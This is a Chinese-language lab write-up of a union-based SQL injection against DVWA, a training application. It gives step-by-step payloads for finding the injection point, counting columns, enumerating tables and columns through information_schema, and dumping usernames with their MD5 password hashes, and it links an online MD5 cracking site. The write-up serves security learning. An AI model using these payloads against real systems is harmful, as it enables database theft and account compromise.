SQL注入一般过程
实验:Vulnerability: SQL Injection(low)
SQL注入一般过程
1.判断注入点
一般和数据库进行交互的位置
2.判断注入点类型
字符型判断:
1' 报错
1' and '1'='2 错误结果
1' and '1'='1 正确结果
数字型判断:
1' 报错
1 and 1=2 错误结果
1 and 1=1 正确结果
3.获取数据回显位置
3.1 判断返回字段数
两种方式判断:1.order by 2. union select
1' order by 1# 正确显示结果
1' order by 2# 正确显示结果
1' order by 3# 报错
判断返回结果有两列。
3.2 判断回显位置
1' union select 1# 报错
1' union select 1,2# 正确显示,并成功显示回显位置
4.查询数据库名
database() 获取数据库名,user()获取用户名
1' union select database(),user() #
5.获取表名
数据库:information_schema
数据表:information_schema.tables
字段:table_schema = 'dvwa'
通过上面的内容查询表名,table_name
-1' union select 1,table_name from information_schema.tables
where table_schema=database()#
报错:
Illegal mix of collations for operation 'UNION' 编码错误
三种方式解决:
1.变成16进制输出
-1' union select 1,hex(table_name) from information_schema.tables
where table_schema=database()#
2.输出指定字符集
-1' union select 1,table_name collate utf8_general_ci from information_schema.tables
where table_schema=database()#
3.直接修改数据库字符集
查询结果可能只显示一条,因此使用group_concat()函数,将结果进行聚合
-1' union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables
where table_schema=database()#
查询结果为:guestbook,users
5.查询字段名
数据库:information_schema
表:information_schema.columns
条件字段:table_schema='dvwa',table_name='users'
查询内容:column_name
-1' union select 1,group_concat(column_name) collate utf8_general_ci from information_schema.columns
where table_schema=database() and table_name='users'#
查询结果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
6.查询数据
查询表:users
查询字段:user,password
-1' union select 1,group_concat(user,'~',password) from users#
查询结果:admin~5f4dcc3b5aa765d61d8327deb882cf99,gordonb~e99a18c428cb38d5f260853678922e03,1337~8d3533d75ae2c3966d7e0d4fcc69216b,pablo~0d107d09f5bbe40cade3de5c71e9e9b7,smithy~5f4dcc3b5aa765d61d8327deb882cf99
MD5在线解密:
https://www.cmd5.com/